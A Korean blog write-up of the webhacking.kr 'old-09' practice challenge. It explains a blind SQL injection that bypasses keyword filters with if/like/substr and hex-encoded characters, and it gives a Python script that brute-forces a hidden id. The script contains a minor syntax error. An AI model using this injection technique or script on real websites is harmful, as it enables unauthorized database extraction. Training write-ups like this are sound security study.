write-up(web)/webhacking.kr

[Webhacking.kr] old-09

chanchand 2023. 9. 22. 11:53
반응형

문제


 

Challenge 9

 

webhacking.kr

 

 

 

 

문제풀이


index.php 페이지에 접속하면 no 파라미터로 값을 전송할 수 있다.

1 전송 시, Apple,

2 전송 시, Banana

3 전송 시, Secret이 나온다.

메인의 패스워드 입력창에 no 3 id를 입력하면 문제가 해결되는 것 같다.

Blind Injection을 수행하여 no 3의 아이디를 알아낼 수 있다.

 

select, 공백, /**/, from 등 문자열이 필터링되어 Access Denied가 출력된다.

if - like을 사용하여 id 길이와 문자열을 추측할 수 있다.

 

- LIKE

특정 문자열 패턴을 검색하는데 사용되는 연산자

데이터베이스 테이블에서 문자열의 부분 일치나 패턴 일치를 검색할 수 있다.

두가지 와일드카드 문자와 함께 사용 (%, _)

  % : 어떤 문자열이든 0개 이상의 문자를 나타냄

  _ : 어떤 문자든 하나의 문자를 나타냄

 

 

id 길이 확인
if(length(id)like(N),M,K)

length(id)가 N에 일치하는 모든 행을 가져오고 no=M인 값을 찾는, 두가지 조건을 수행한다.

ex) if(length(id)like(5),1,0) 

id가 5이면서 no=1인 값을 찾기 때문에 Apple을 반환한다.

 

if(length(id)like(N),3,0)

no=3인 값을 찾기 때문에 위와 같이 작성해야 한다.

 

 

 

id 값 확인
if(substr(id,{},1)like({}),3,0)

id 값의 첫번째 문자부터 하나씩 비교하여 찾는다.

따옴표는 필터링되므로 16진수로 변환하여 구한다.

 

- substr() 함수

문자열에서 부분 문자열을 추출하는 함수

substr(original_str, start_position, length)

original_str : 부분 문자열을 추출할 원래 문자열

start_position : 추출 시작할 위치, 첫번째 문자는 1부터 시작

length : 추출할 부분 문자열 길이

 

 

 

코드
import requests

cookie={'PHPSESSID':'{cookie_val}'}

for i in range(0, 50):
  query = "if(length(id)like({}),3,0)".format(i)
  url = "https://webhacking.kr/challenge/web-09/index.php?no={}".format(query)
  res = requests.get(url,cookies = cookie)
  if (res.text.find("Secret") != -1):
    print("id길이 : {}".format(i))
    len = i
    break

keyword = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFFGHIJKLMNOPQRSTUVWXYZ"
pw = ""
for i in range(1, len + 1):
  for key in keyword:
    query = "if(substr(id,{},1)like({}),3,0)".format(i,hex(ord(key)))
    url = "https://webhacking.kr/challenge/web-09/index.php?no={}".format(query)
    res = requests.get(url,cookies = cookie)
    if (res.text.find("Secret")! =- 1):
        pw += key
        print(pw)
        break

print("pw : {}".format(pw))

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-11  (0) 2023.10.17
[Webhacking.kr] old-10  (0) 2023.10.17
[Webhacking.kr] g00gle2  (0) 2023.09.21
[Webhacking.kr] RPG1  (0) 2023.09.21
[Webhacking.kr] old-08  (0) 2023.02.27